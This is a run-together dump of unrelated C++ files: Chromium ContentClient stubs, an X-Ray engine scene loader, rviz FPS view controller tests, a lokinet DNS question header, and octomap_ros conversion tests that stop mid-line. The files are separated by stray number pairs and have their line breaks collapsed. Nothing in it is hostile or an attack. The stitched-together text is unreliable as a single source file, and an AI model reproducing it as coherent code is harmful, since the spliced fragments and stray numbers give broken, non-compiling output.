SetRendererClientForTesting(ContentRendererClient* r) { return InternalTestInitializer::SetRenderer(r); } ContentUtilityClient* SetUtilityClientForTesting(ContentUtilityClient* u) { return InternalTestInitializer::SetUtility(u); } ContentClient::ContentClient() : browser_(NULL), gpu_(NULL), renderer_(NULL), utility_(NULL) {} ContentClient::~ContentClient() { } bool ContentClient::CanSendWhileSwappedOut(const IPC::Message* message) { return false; } std::string ContentClient::GetProduct() const { return std::string(); } std::string ContentClient::GetUserAgent() const { return std::string(); } base::string16 ContentClient::GetLocalizedString(int message_id) const { return base::string16(); } base::StringPiece ContentClient::GetDataResource( int resource_id, ui::ScaleFactor scale_factor) const { return base::StringPiece(); } base::RefCountedStaticMemory* ContentClient::GetDataResourceBytes( int resource_id) const { return NULL; } gfx::Image& ContentClient::GetNativeImageNamed(int resource_id) const { CR_DEFINE_STATIC_LOCAL(gfx::Image, kEmptyImage, ()); return kEmptyImage; } std::string ContentClient::GetProcessTypeNameInEnglish(int type) { NOTIMPLEMENTED(); return std::string(); } #if defined(OS_MACOSX) bool ContentClient::GetSandboxProfileForSandboxType( int sandbox_type, int* sandbox_profile_resource_id) const { return false; } #endif bool ContentClient::IsSupplementarySiteIsolationModeEnabled() { return false; } base::StringPiece ContentClient::GetOriginTrialPublicKey() { return base::StringPiece(); } #if defined(OS_ANDROID) bool ContentClient::UsingSynchronousCompositing() { return false; } media::MediaClientAndroid* ContentClient::GetMediaClientAndroid() { return nullptr; } #endif // OS_ANDROID } // namespace content
3,322
1,068
#include "xr_scene.h" #include "xr_scene_ai_map.h" #include "xr_scene_details.h" #include "xr_scene_glows.h" #include "xr_scene_groups.h" #include "xr_scene_lights.h" #include "xr_scene_particles.h" #include "xr_scene_portals.h" #include "xr_scene_sectors.h" #include "xr_scene_shapes.h" #include "xr_scene_sound_envs.h" #include "xr_scene_sound_srcs.h" #include "xr_scene_spawns.h" #include "xr_scene_visuals.h" #include "xr_scene_wallmarks.h" #include "xr_scene_ways.h" #include "xr_file_system.h" #include "xr_motion.h" #include "xr_utils.h" using namespace xray_re; void b_params::init() { sm_angle = 75.f; weld_distance = 0.005f; lm_rms_zero = 4; lm_rms = 4; lm_jitter_samples = 9; lm_pixels_per_meter = 10.0; convert_progressive = 0; pm_uv = 0; pm_pos = 0; pm_curv = 0; pm_border_h_angle = 0; pm_border_h_distance = 0; pm_heuristic = 0; } void b_params::set_debug() { lm_pixels_per_meter = 0.1f; lm_jitter_samples = 1; convert_progressive = XRLC_QUALITY_DRAFT; } void b_params::set_release() { lm_pixels_per_meter = 10.f; lm_jitter_samples = 9; convert_progressive = XRLC_QUALITY_HIGH; } void b_params::save_v12(xr_ini_writer *w) { w->open_section("build_params"); w->write("light_jitter_samples", lm_jitter_samples); w->write("light_pixel_per_meter", lm_pixels_per_meter); w->write("light_quality", 2); // TEMP w->write("light_quality_reserved", 0); // TEMP w->write("light_rms", lm_rms); w->write("light_rms_zero", lm_rms_zero); w->write("reserved_0", pm_uv); w->write("reserved_1", pm_pos); w->write("reserved_2", pm_curv); w->write("reserved_3", pm_border_h_angle); w->write("reserved_4", pm_border_h_distance); w->write("reserved_5", pm_heuristic); w->write("smooth_angle", sm_angle); w->write("weld_distance", weld_distance); w->close_section(); } //////////////////////////////////////////////////////////////////////////////// xr_scene::xr_scene(): m_name("level"), m_name_prefix("level_prefix") { m_parts.push_back(new xr_scene_ai_map(*this)); m_parts.push_back(new xr_scene_details(*this)); m_parts.push_back(new xr_scene_glows(*this)); m_parts.push_back(new xr_scene_groups(*this)); m_parts.push_back(new xr_scene_lights(*this)); m_parts.push_back(new xr_scene_visuals(*this)); m_parts.push_back(new xr_scene_particles(*this)); m_parts.push_back(new xr_scene_portals(*this)); m_parts.push_back(new xr_scene_sectors(*this)); m_parts.push_back(new xr_scene_shapes(*this)); m_parts.push_back(new xr_scene_sound_envs(*this)); m_parts.push_back(new xr_scene_sound_srcs(*this)); m_parts.push_back(new xr_scene_spawns(*this)); m_parts.push_back(new xr_scene_wallmarks(*this)); m_parts.push_back(new xr_scene_ways(*this)); m_camera_pos.set(); m_camera_orient.set(); m_bparams.init(); set_quality(XRLC_QUALITY_HIGH); m_guid.reset(); } xr_scene::~xr_scene() { delete_elements(m_parts); delete_elements(m_objects); } void xr_scene::set_quality(unsigned xrlc_quality) { switch (xrlc_quality) { case XRLC_QUALITY_DRAFT: m_hemi_quality = 0; m_sun_quality = 0; m_bparams.set_debug(); break; case XRLC_QUALITY_HIGH: case XRLC_QUALITY_CUSTOM: default: m_hemi_quality = 3; m_sun_quality = 3; m_bparams.set_release(); break; } } xr_scene_part* xr_scene::part(scene_chunk_id chunk_id) { for (xr_scene_part_vec_it it = m_parts.begin(), end = m_parts.end(); it != end; ++it) { if ((*it)->chunk_id() == chunk_id) return *it; } return 0; } xr_scene_ai_map* xr_scene::ai_map() { return dynamic_cast<xr_scene_ai_map*>(part(SCENE_CHUNK_AI_MAP)); } xr_scene_details* xr_scene::details() { return dynamic_cast<xr_scene_details*>(part(SCENE_CHUNK_DETAIL_OBJECTS)); } xr_scene_glows* xr_scene::glows() { return dynamic_cast<xr_scene_glows*>(part(SCENE_CHUNK_GLOWS)); } xr_scene_groups* xr_scene::groups() { return dynamic_cast<xr_scene_groups*>(part(SCENE_CHUNK_GROUPS)); } xr_scene_lights* xr_scene::lights() { return dynamic_cast<xr_scene_lights*>(part(SCENE_CHUNK_LIGHTS)); } xr_scene_particles* xr_scene::particles() { return dynamic_cast<xr_scene_particles*>(part(SCENE_CHUNK_PARTICLES)); } xr_scene_portals* xr_scene::portals() { return dynamic_cast<xr_scene_portals*>(part(SCENE_CHUNK_PORTALS)); } xr_scene_sectors* xr_scene::sectors() { return dynamic_cast<xr_scene_sectors*>(part(SCENE_CHUNK_SECTORS)); } xr_scene_shapes* xr_scene::shapes() { return dynamic_cast<xr_scene_shapes*>(part(SCENE_CHUNK_SHAPES)); } xr_scene_sound_envs* xr_scene::sound_envs() { return dynamic_cast<xr_scene_sound_envs*>(part(SCENE_CHUNK_SOUND_ENVS)); } xr_scene_sound_srcs* xr_scene::sound_srcs() { return dynamic_cast<xr_scene_sound_srcs*>(part(SCENE_CHUNK_SOUND_SRCS)); } xr_scene_spawns* xr_scene::spawns() { return dynamic_cast<xr_scene_spawns*>(part(SCENE_CHUNK_SPAWNS)); } xr_scene_visuals* xr_scene::visuals() { return dynamic_cast<xr_scene_visuals*>(part(SCENE_CHUNK_SCENE_OBJECTS)); } xr_scene_wallmarks* xr_scene::wallmarks() { return dynamic_cast<xr_scene_wallmarks*>(part(SCENE_CHUNK_WALLMARKS)); } xr_scene_ways* xr_scene::ways() { return dynamic_cast<xr_scene_ways*>(part(SCENE_CHUNK_WAYS)); } xr_custom_object* xr_scene::create_object(tools_class_id class_id) { switch (class_id) { case TOOLS_CLASS_GROUP: return new xr_group_object(*this); case TOOLS_CLASS_GLOW: return new xr_glow_object(*this); case TOOLS_CLASS_SCENE_OBJECT: return new xr_visual_object(*this); case TOOLS_CLASS_LIGHT: return new xr_light_object(*this); case TOOLS_CLASS_SHAPE: return new xr_shape_object(*this); case TOOLS_CLASS_SOUND_ENV: return new xr_sound_env_object(*this); case TOOLS_CLASS_SOUND_SRC: return new xr_sound_src_object(*this); case TOOLS_CLASS_SPAWN: return new xr_spawn_object(*this); case TOOLS_CLASS_WAY: return new xr_way_object(*this); case TOOLS_CLASS_SECTOR: return new xr_sector_object(*this); case TOOLS_CLASS_PORTAL: return new xr_portal_object(*this); case TOOLS_CLASS_PARTICLE: return new xr_particle_object(*this); default: return 0; } } struct read_object { explicit read_object(xr_scene& _scene): scene(_scene) {} void operator()(xr_custom_object*& object, xr_reader& r) { xr_assert(sizeof(tools_class_id) == 4); tools_class_id class_id; if (!r.r_chunk(TOOLS_CHUNK_OBJECT_CLASS, class_id)) xr_not_expected(); object = scene.create_object(class_id); xr_assert(object); xr_reader* s = r.open_chunk(TOOLS_CHUNK_OBJECT_DATA); xr_assert(s); object->load(*s); r.close_chunk(s); } xr_scene& scene; }; void xr_scene::load_objects(xr_reader& r, uint32_t chunk_id, xr_custom_object_vec& objects) { xr_reader* s = r.open_chunk(chunk_id); if (s) { s->r_chunks(objects, read_object(*this)); r.close_chunk(s); } } struct write_object { void operator()(xr_custom_object* const& object, xr_writer& w) const { tools_class_id class_id = object->class_id(); w.w_chunk(TOOLS_CHUNK_OBJECT_CLASS, class_id); w.open_chunk(TOOLS_CHUNK_OBJECT_DATA); object->save(w); w.close_chunk(); }}; void xr_scene::save_objects(xr_writer& w, uint32_t chunk_id, const xr_custom_object_vec& objects) const { w.open_chunk(chunk_id); w.w_chunks(objects, write_object()); w.close_chunk(); } struct ini_write_object { void operator()(xr_custom_object* const& object, xr_ini_writer* w) const { object->save_v12(w); }}; void xr_scene::save_objects(xr_ini_writer* w, const std::vector<xr_custom_object*>& objects, const char* prefix) const { w->w_sections(objects, ini_write_object(), prefix); } void xr_scene::load_options(xr_reader& r) { uint32_t version; if (!r.r_chunk<uint32_t>(SCENE_CHUNK_LO_VERSION, version)) xr_not_expected(); xr_assert(version == SCENE_LO_VERSION); if (!r.r_chunk(SCENE_CHUNK_LO_NAMES, m_name)) xr_not_expected(); r.r_chunk(SCENE_CHUNK_LO_NAME_PREFIX, m_name_prefix); r.r_chunk(SCENE_CHUNK_LO_BOP, m_custom_data); if (r.r_chunk(SCENE_CHUNK_LO_BPARAMS_VERSION, version) && version == SCENE_LO_BPARAMS_VERSION) { r.r_chunk<b_params>(SCENE_CHUNK_LO_BPARAMS, m_bparams); } if (r.find_chunk(SCENE_CHUNK_LO_QUALITY)) { m_hemi_quality = r.r_u8(); m_sun_quality = r.r_u8(); r.debug_find_chunk(); } } void xr_scene::save_options(xr_writer& w) { w.w_chunk<uint32_t>(SCENE_CHUNK_LO_VERSION, SCENE_LO_VERSION); w.w_chunk(SCENE_CHUNK_LO_NAMES, m_name); w.w_chunk(SCENE_CHUNK_LO_NAME_PREFIX, m_name_prefix); w.w_chunk(SCENE_CHUNK_LO_BOP, m_custom_data); w.w_chunk<uint32_t>(SCENE_CHUNK_LO_BPARAMS_VERSION, SCENE_LO_BPARAMS_VERSION); w.w_chunk(SCENE_CHUNK_LO_BPARAMS, m_bparams); w.open_chunk(SCENE_CHUNK_LO_QUALITY); w.w_u8(m_hemi_quality); w.w_u8(m_sun_quality); w.close_chunk(); } bool xr_scene::load(const char* name) { xr_file_system& fs = xr_file_system::instance(); xr_reader* r = fs.r_open(PA_MAPS, std::string(name) + ".level"); if (r == 0) return false; uint32_t version; if (!r->r_chunk<uint32_t>(SCENE_CHUNK_VERSION, version)) { msg("no scene version chunk"); xr_not_expected(); } xr_assert(version == SCENE_VERSION); if (version != SCENE_VERSION) { msg("unexpected scene version %" PRIu32, version); xr_not_expected(); } xr_reader* s = r->open_chunk(SCENE_CHUNK_OPTIONS); if (s) { load_options(*s); r->close_chunk(s); } else { msg("no level options chunk"); xr_not_expected(); } if (r->find_chunk(SCENE_CHUNK_CAMERA)) { r->r_fvector3(m_camera_pos); r->r_fvector3(m_camera_orient); r->debug_find_chunk(); } else { msg("no scene camera chunk"); xr_not_expected(); } if (!r->r_chunk<xr_guid>(TOOLS_CHUNK_GUID, m_guid)) { msg("no tools GUID chunk"); xr_not_expected(); } m_revision.load(*r); size_t num_objects = 0; if (r->find_chunk(SCENE_CHUNK_COUNT)) { num_objects = r->r_u32(); r->debug_find_chunk(); } load_objects(*r, SCENE_CHUNK_OBJECTS, m_objects); if (r->find_chunk(SCENE_CHUNK_SNAP_OBJECTS)) r->r_seq(r->r_u32(), m_snap_objects, xr_reader::f_r_sz()); fs.r_close(r); std::string parts_path(name); parts_path += '\\'; for (xr_scene_part_vec_it it = m_parts.begin(), end = m_parts.end(); it != end; ++it) { xr_scene_part* part = *it; r = fs.r_open(PA_MAPS, parts_path + part->file_name()); if (r == 0) msg("can't load scene part %s", part->file_name()); xr_assert(r); xr_guid guid; if (!r->r_chunk<xr_guid>(TOOLS_CHUNK_GUID, guid) || guid != m_guid) xr_not_expected(); xr_reader* s = r->open_chunk(part->chunk_id()); xr_assert(s); if (s) { part->load(*s); r->close_chunk(s); } fs.r_close(r); } return true; } bool xr_scene::save(const char* name) { xr_memory_writer* w = new xr_memory_writer(); w->w_chunk<uint32_t>(SCENE_CHUNK_VERSION, SCENE_VERSION); w->open_chunk(SCENE_CHUNK_OPTIONS); save_options(*w); w->close_chunk(); w->w_chunk(TOOLS_CHUNK_GUID, m_guid); m_revision.save(*w); w->open_chunk(SCENE_CHUNK_CAMERA); w->w_fvector3(m_camera_pos); w->w_fvector3(m_camera_orient); w->close_chunk(); w->open_chunk(SCENE_CHUNK_SNAP_OBJECTS); w->w_size_u32(m_snap_objects.size()); w->w_seq(m_snap_objects, xr_writer::f_w_sz()); w->close_chunk(); if (!m_objects.empty()) save_objects(*w, SCENE_CHUNK_OBJECTS, m_objects); bool status = w->save_to(PA_MAPS, std::string(name) + ".level"); delete w; xr_file_system& fs = xr_file_system::instance(); fs.create_folder(PA_MAPS, name); std::string parts_path(name); parts_path += '\\'; for (xr_scene_part_vec_it it = m_parts.begin(), end = m_parts.end(); it != end; ++it) { xr_scene_part* part = *it; w = new xr_memory_writer(); w->w_chunk(TOOLS_CHUNK_GUID, m_guid); w->open_chunk(part->chunk_id()); part->save(*w); w->close_chunk(); if (!w->save_to(PA_MAPS, parts_path + part->file_name())) msg("can't save scene part %s", part->file_name()); delete w; } return status; } bool xr_scene::save_v12(const char* name) { xr_ini_writer *w = new xr_ini_writer(); m_bparams.save_v12(w); w->open_section("camera"); w->write("hpb", m_camera_orient); w->write("pos", m_camera_pos); w->close_section(); write_guid(w); w->open_section("level_options"); w->write("bop", ""); w->write("game_type", 1); w->write("level_path", m_name, false); w->write("level_prefix", m_name_prefix, false); w->write("light_hemi_quality", m_hemi_quality); w->write("light_sun_quality", m_sun_quality); w->write("map_version", 1.0f); w->write("version", 12); w->write("version_bp", SCENE_LO_BPARAMS_VERSION); w->close_section(); m_revision.save_v12(w); w->open_section("version"); w->write("value", SCENE_VERSION); w->close_section(); w->save_to(PA_MAPS, std::string(name) + ".level"); delete w; xr_file_system& fs = xr_file_system::instance(); fs.create_folder(PA_MAPS, name); std::string parts_path(name); parts_path += '\\'; for (xr_scene_part_vec_it it = m_parts.begin(), end = m_parts.end(); it != end; ++it) { xr_scene_part* part = *it; const type_info& type = typeid(*part); w = new xr_ini_writer(); if (type == typeid(xr_scene_ai_map) || type == typeid(xr_scene_details) || type == typeid(xr_scene_wallmarks)) { w->w_chunk(TOOLS_CHUNK_GUID, m_guid); w->open_chunk(part->chunk_id()); part->save(*w); w->close_chunk(); } else { write_guid(w); part->save_v12(w); } if (!w->save_to(PA_MAPS, parts_path + part->file_name())) msg("can't save scene part %s", part->file_name()); delete w; } return true; } void xr_scene::write_guid(xr_ini_writer* w) { //msg("%s", "guid save_v12"); w->open_section("guid"); uint32_t tmp[4]; memcpy(tmp, ((char *)m_guid.g) + 1, sizeof(uint32_t) * 4); xr_guid *guid2 = new xr_guid; memcpy(&guid2->g, tmp, sizeof(uint32_t) * 4); w->write("guid_g0", &m_guid); w->write("guid_g1", guid2); w->close_section(); } void xr_scene::write_revision(xr_ini_writer* w, bool scene_part) { m_revision.save_v12(w, scene_part); }
13,751
6,445
/* * Copyright (c) 2018, Bosch Software Innovations GmbH. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted (subject to the limitations in the disclaimer * below) provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS * LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <gmock/gmock.h> #include <memory> #include <QApplication> // NOLINT cpplint cannot handle include order #include <QKeyEvent> // NOLINT cpplint cannot handle include order #include <OgreCamera.h> #include <OgreRoot.h> #include "rviz_common/render_panel.hpp" #include "rviz_common/viewport_mouse_event.hpp" #include "rviz_default_plugins/view_controllers/fps/fps_view_controller.hpp" #include "rviz_default_plugins/view_controllers/orbit/orbit_view_controller.hpp" #include "../../displays/display_test_fixture.hpp" #include "../../scene_graph_introspection.hpp" #include "../view_controller_test_fixture.hpp" using namespace ::testing; // NOLINT class FPSViewControllerTestFixture : public ViewControllerTestFixture { public: FPSViewControllerTestFixture() { fps_ = std::make_shared<rviz_default_plugins::view_controllers::FPSViewController>(); fps_->initialize(context_.get()); testing_environment_->createOgreRenderWindow()->addViewport(fps_->getCamera()); } void dragMouse( int to_x, int to_y, int from_x, int from_y, Qt::MouseButton button, Qt::KeyboardModifiers modifiers = Qt::NoModifier) { dragMouseInViewport(fps_, to_x, to_y, from_x, from_y, button, modifiers); } void setCameraToDefaultPosition() { auto yaw_property = fps_->childAt(4); auto pitch_property = fps_->childAt(5); ASSERT_THAT(yaw_property->getNameStd(), StrEq("Yaw")); ASSERT_THAT(pitch_property->getNameStd(), StrEq("Pitch")); yaw_property->setValue(0); // set to zero to make result easier to check pitch_property->setValue(0); // set to zeor to make result easier to check auto position_property = fps_->childAt(6); ASSERT_THAT(position_property->getNameStd(), StrEq("Position")); position_property->childAt(0)->setValue(0); position_property->childAt(1)->setValue(0); position_property->childAt(2)->setValue(0); fps_->update(0, 0); // Camera now looks in x-direction, located at the origin EXPECT_THAT(yaw_property->getValue().toFloat(), FloatNear(0, 0.001f)); EXPECT_THAT(pitch_property->getValue().toFloat(), FloatNear(0, 0.001f)); auto x_position = position_property->childAt(0); auto y_position = position_property->childAt(1); auto z_position = position_property->childAt(2); EXPECT_THAT(x_position->getValue().toFloat(), FloatNear(0, 0.001f)); EXPECT_THAT(y_position->getValue().toFloat(), FloatNear(0, 0.001f)); EXPECT_THAT(z_position->getValue().toFloat(), FloatNear(0, 0.001f)); } std::shared_ptr<rviz_default_plugins::view_controllers::FPSViewController> fps_; }; TEST_F(FPSViewControllerTestFixture, moving_the_mouse_to_the_left_rotates_left) { setCameraToDefaultPosition(); dragMouse(0, 10, 10, 10, Qt::LeftButton); auto yaw_property = fps_->childAt(4); auto pitch_property = fps_->childAt(5); EXPECT_THAT(yaw_property->getValue().toFloat(), FloatNear(0.05f, 0.001f)); EXPECT_THAT(pitch_property->getValue().toFloat(), FloatNear(0, 0.001f)); } TEST_F(FPSViewControllerTestFixture, moving_the_mouse_up_rotates_up) { setCameraToDefaultPosition(); dragMouse(10, 20, 10, 10, Qt::LeftButton); auto yaw_property = fps_->childAt(4); auto pitch_property = fps_->childAt(5); EXPECT_THAT(yaw_property->getValue().toFloat(), FloatNear(0, 0.001f)); EXPECT_THAT(pitch_property->getValue().toFloat(), FloatNear(0.05f, 0.001f)); } TEST_F(FPSViewControllerTestFixture, moving_the_wheel_moves_camera_in_looking_direction) { setCameraToDefaultPosition(); auto event = generateMouseWheelEvent(100); fps_->handleMouseEvent(event); auto position_property = fps_->childAt(6); auto x_position = position_property->childAt(0); auto y_position = position_property->childAt(1); auto z_position = position_property->childAt(2); EXPECT_THAT(x_position->getValue().toFloat(), FloatNear(1, 0.001f)); EXPECT_THAT(y_position->getValue().toFloat(), FloatNear(0, 0.001f)); EXPECT_THAT(z_position->getValue().toFloat(), FloatNear(0, 0.001f)); } TEST_F( FPSViewControllerTestFixture, moving_the_mouse_with_right_button_moves_camera_in_looking_direction) { setCameraToDefaultPosition(); dragMouse(10, 0, 10, 10, Qt::RightButton); auto position_property = fps_->childAt(6); auto x_position = position_property->childAt(0); auto y_position = position_property->childAt(1); auto z_position = position_property->childAt(2); EXPECT_THAT(x_position->getValue().toFloat(), FloatNear(1, 0.001f)); EXPECT_THAT(y_position->getValue().toFloat(), FloatNear(0, 0.001f)); EXPECT_THAT(z_position->getValue().toFloat(), FloatNear(0, 0.001f)); } TEST_F(FPSViewControllerTestFixture, moving_the_mouse_with_shift_moves_camera_in_xy_plane) { setCameraToDefaultPosition(); dragMouse(10, 10, 0, 0, Qt::LeftButton, Qt::ShiftModifier); auto position_property = fps_->childAt(6); auto x_position = position_property->childAt(0); auto y_position = position_property->childAt(1); auto z_position = position_property->childAt(2); EXPECT_THAT(x_position->getValue().toFloat(), FloatNear(0, 0.001f)); EXPECT_THAT(y_position->getValue().toFloat(), FloatNear(-0.1f, 0.001f)); EXPECT_THAT(z_position->getValue().toFloat(), FloatNear(-0.1f, 0.001f)); } TEST_F(FPSViewControllerTestFixture, reset_sets_to_some_point_looking_at_origin) { setCameraToDefaultPosition(); fps_->reset(); auto yaw_property = fps_->childAt(4); auto pitch_property = fps_->childAt(5); EXPECT_THAT(yaw_property->getValue().toFloat(), FloatNear(3.92699f, 0.001f)); EXPECT_THAT(pitch_property->getValue().toFloat(), FloatNear(0.955317f, 0.001f)); auto position_property = fps_->childAt(6); auto x_position = position_property->childAt(0); auto y_position = position_property->childAt(1); auto z_position = position_property->childAt(2); EXPECT_THAT(x_position->getValue().toFloat(), FloatNear(5, 0.001f)); EXPECT_THAT(y_position->getValue().toFloat(), FloatNear(5, 0.001f)); EXPECT_THAT(z_position->getValue().toFloat(), FloatNear(10, 0.001f)); } TEST_F(FPSViewControllerTestFixture, mimic_does_not_change_view_when_given_any_view_controller) { auto orbit_view = std::make_shared<rviz_default_plugins::view_controllers::OrbitViewController>(); orbit_view->setClassId("rviz_default_plugins/XYOrbit"); orbit_view->initialize(context_.get()); auto old_yaw_property = orbit_view->childAt(7); auto old_pitch_property = orbit_view->childAt(8); old_yaw_property->setValue(1); old_pitch_property->setValue(2); orbit_view->move(10, 12, 0); orbit_view->update(0, 0); fps_->mimic(orbit_view.get()); fps_->update(0, 0); // Yaw and Pitch cannot be equal since the orbit view's yaw and pitch are relative to its focal // point, while the fps yaw and pitch are absolute. However, the orientation of the camera // scene node should be equivalent. auto fps_camera_orientation = fps_->getCamera()->getParentSceneNode()->getOrientation(); auto orbit_camera_orientation = orbit_view->getCamera()->getParentSceneNode()->getOrientation(); EXPECT_THAT(fps_camera_orientation, QuaternionEq(orbit_camera_orientation)); auto position_property = fps_->childAt(6); auto x_position = position_property->childAt(0); auto y_position = position_property->childAt(1); auto z_position = position_property->childAt(2); auto orbit_camera_position = orbit_view->getCamera()->getParentSceneNode()->getPosition(); EXPECT_THAT(x_position->getValue().toFloat(), FloatNear(orbit_camera_position.x, 0.001f)); EXPECT_THAT(y_position->getValue().toFloat(), FloatNear(orbit_camera_position.y, 0.001f)); EXPECT_THAT(z_position->getValue().toFloat(), FloatNear(orbit_camera_position.z, 0.001f)); } int main(int argc, char ** argv) { QApplication app(argc, argv); InitGoogleMock(&argc, argv); return RUN_ALL_TESTS(); }
9,572
3,515
#ifndef LLARP_DNS_QUESTION_HPP #define LLARP_DNS_QUESTION_HPP #include <dns/serialize.hpp> #include <dns/name.hpp> #include <net/net_int.hpp> namespace llarp { namespace dns { using QType_t = uint16_t; using QClass_t = uint16_t; struct Question : public Serialize { Question() = default; Question(Question&& other); Question(const Question& other); bool Encode(llarp_buffer_t* buf) const override; bool Decode(llarp_buffer_t* buf) override; std::ostream& print(std::ostream& stream, int level, int spaces) const; bool operator==(const Question& other) const { return qname == other.qname && qtype == other.qtype && qclass == other.qclass; } Name_t qname; QType_t qtype; QClass_t qclass; /// determine if we match a name bool IsName(const std::string& other) const; /// return qname with no trailing . std::string Name() const; /// determine if we are using this TLD bool HasTLD(const std::string& tld) const; }; inline std::ostream& operator<<(std::ostream& out, const Question& q) { q.print(out, -1, -1); return out; } } // namespace dns } // namespace llarp #endif
1,306
444
// Copyright 2021, Daisuke Nishimatsu. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // * Neither the name of the Willow Garage nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. #include <sensor_msgs/point_cloud2_iterator.hpp> #include <octomap_ros/conversions.hpp> #include <gtest/gtest.h> constexpr double epsilon = 1e-6; TEST(conversions, pointOctomapToMsg) { using octomap::pointOctomapToMsg; const double x = 1.0; const double y = 2.0; const double z = 3.0; const auto octo_p = octomap::point3d(x, y, z); const auto geom_p = pointOctomapToMsg(octo_p); EXPECT_DOUBLE_EQ(geom_p.x, x); EXPECT_DOUBLE_EQ(geom_p.y, y); EXPECT_DOUBLE_EQ(geom_p.z, z); } TEST(conversions, pointMsgToOctomap) { using octomap::pointMsgToOctomap; const double x = 1.0; const double y = 2.0; const double z = 3.0; const auto geom_p = geometry_msgs::build<geometry_msgs::msg::Point>().x(x).y(y).z(z); const auto octo_p = pointMsgToOctomap(geom_p); EXPECT_DOUBLE_EQ(octo_p.x(), x); EXPECT_DOUBLE_EQ(octo_p.y(), y); EXPECT_DOUBLE_EQ(octo_p.z(), z); } TEST(conversions, pointOctomapToTf) { using octomap::pointOctomapToTf; const double x = 1.0; const double y = 2.0; const double z = 3.0; const auto octo_p = octomap::point3d(x, y, z); const auto tf_v = pointOctomapToTf(octo_p); EXPECT_DOUBLE_EQ(tf_v.x(), x); EXPECT_DOUBLE_EQ(tf_v.y(), y); EXPECT_DOUBLE_EQ(tf_v.z(), z); } TEST(conversions, pointTfToOctomap) { using octomap::pointTfToOctomap; const double x = 1.0; const double y = 2.0; const double z = 3.0; const auto tf_v = tf2::Vector3(x, y, z); const auto octo_p = pointTfToOctomap(tf_v); EXPECT_DOUBLE_EQ(octo_p.x(), x); EXPECT_DOUBLE_EQ(octo_p.y(), y); EXPECT_DOUBLE_EQ(octo_p.z(), z); } TEST(conversions, quaternionOctomapToTf) { using octomap::quaternionOctomapToTf; const double u = 1.0; const double x = 2.0; const double y = 3.0; const double z = 4.0; const auto octo_q = octomath::Quaternion(u, x, y, z); const auto tf_q = quaternionOctomapToTf(octo_q); EXPECT_DOUBLE_EQ(tf_q.w(), u); EXPECT_DOUBLE_EQ(tf_q.x(), x); EXPECT_DOUBLE_EQ(tf_q.y(), y); EXPECT_DOUBLE_EQ(tf_q.z(), z); } TEST(conversions, quaternionTfToOctomap) { using octomap::quaternionTfToOctomap; const double w = 1.0; const double x = 2.0; const double y = 3.0; const double z = 4.0; const auto tf_q = tf2::Quaternion(x, y, z, w); const auto octo_q = quaternionTfToOctomap(tf_q); EXPECT_DOUBLE_EQ(octo_q.u(), w); EXPECT_DOUBLE_EQ(octo_q.x(), x); EXPECT_DOUBLE_EQ(octo_q.y(), y); EXPECT_DOUBLE_EQ(octo_q.z(), z); } TEST(conversions, poseOctomapToTf) { using octomap::poseOctomapToTf; const double x = 1.0; const double y = 2.0; const double z = 3.0; const auto octo_p = octomap::point3d(x, y, z); const double rot_u = 1.0; const double rot_x = 2.0; const double rot_y = 3.0; const double rot_z = 4.0; const auto octo_q = octomath::Quaternion(rot_u, rot_x, rot_y, rot_z); const auto octo_pose = octomap::pose6d(octo_p, octo_q); const auto tf_trans = poseOctomapToTf(octo_pose); const auto length = octo_q.norm(); EXPECT_DOUBLE_EQ(tf_trans.getOrigin().x(), x); EXPECT_DOUBLE_EQ(tf_trans.getOrigin().y(), y); EXPECT_DOUBLE_EQ(tf_trans.getOrigin().z(), z); EXPECT_NEAR(tf_trans.getRotation().w() * length, rot_u, epsilon); EXPECT_NEAR(tf_trans.getRotation().x() * length, rot_x, epsilon); EXPECT_NEAR(tf_trans.getRotation().y() * length, 